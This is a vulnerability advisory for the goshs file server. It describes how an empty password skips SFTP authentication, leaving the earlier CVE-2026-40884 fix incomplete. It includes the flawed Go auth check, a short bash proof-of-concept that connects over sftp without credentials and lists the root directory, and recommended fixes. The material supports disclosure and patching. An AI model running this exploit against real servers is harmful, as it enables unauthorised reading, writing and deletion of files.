goshs SFTP authentication bypass via empty password (incomplete fix of CVE-2026-40884)
Summary
Start goshs v2.1.3 with -b 'admin:' -sftp. No -fkf. SFTP accepts connections without password. CVE-2026-40884 blocks the empty-username variant (-b ':pass'). The empty-password variant bypasses that fix.
CVE-2026-40884
CVE-2026-40884 (GHSA-c29w-qq4m-2gcv, Apr 13 2026) reported the empty-username case: -b ':pass' with -sftp. sftpserver.go:85 uses &&:
```go
if s.Username != "" && s.Password != "" {
sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool {
return subtle.ConstantTimeCompare([]byte(ctx.User()), []byte(s.Username)) == 1 && subtle.ConstantTimeCompare([]byte(password), []byte(s.Password)) == 1
}
}
```
Empty username → Username != "" false → PasswordHandler nil. No -fkf means PublicKeyHandler also nil. gliderlabs/ssh sees all handlers nil and sets NoClientAuth = true. Unauthenticated access.
Patrickhener fixed it with a sanity check at sanity/checks.go:114-118:
```go
if opts.FTP && opts.FTPSFTPMode && strings.HasPrefix(opts.BasicAuth, ":") {
logger.Fatal("When using SFTP with password authentication, the username cannot be empty. ...")
}
```
HasPrefix(":") catches empty username. It does not catch empty password.
Empty Password Bypass
Same && at sftpserver.go:85. Same nil handler. Different input:
```
goshs -b 'admin:' -sftp
```
Username = "admin", Password = ""Username != "" && Password != "" → false. Password is empty.PasswordHandler not set. No -fkf → PublicKeyHandler not set.- gliderlabs/ssh →
NoClientAuth = true.
CVE-2026-40884 patched the symptom (empty username) with input validation. Root cause (&&) stayed in the code. v2.1.3 still has it. That makes any unanticipated input format exploitable.
PoC
```bash
#!/usr/bin/env bash
set -euo pipefail
HOST="${1:-127.0.0.1}"
PORT="${2:-2121}"
echo "[*] Connecting to goshs SFTP at $HOST:$PORT with empty password..."
echo "ls -la /" | sftp -o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-o PreferredAuthentications=none,password \
-o PubkeyAuthentication=no \
-P "$PORT" -b - admin@"$HOST" 2>&1 && \
echo "[+] VULNERABLE: Connected without password!" || \
echo "[-] Connection failed (patched or not running)"
```
Root Cause
```go
// Wrong: &&
if s.Username != "" && s.Password != "" {
// Correct: ||
if s.Username != "" || s.Password != "" {
```
&& blocks PasswordHandler when either field is empty. || installs it when either field is set.
Incomplete Fix
Patrickhener added HasPrefix(":") at sanity/checks.go:116. Two gaps remain:
1. && still at sftpserver.go:85 in v2.1.3
2. No HasSuffix(":") check for empty password
Impact
- Unauthenticated SFTP file access (read, write, delete, rename)
- Same impact as CVE-2026-40884 via a different input
- Exploitable with
-b 'user:' and no -fkf
Affected
All goshs versions including v2.1.3. CVE-2026-40884 fix does not cover this variant.
Recommended Fix
1. && → || at sftpserver/sftpserver.go:85
2. HasSuffix(":") check at sanity/checks.go
3. Shared auth handler setup for HTTP and SFTP code paths
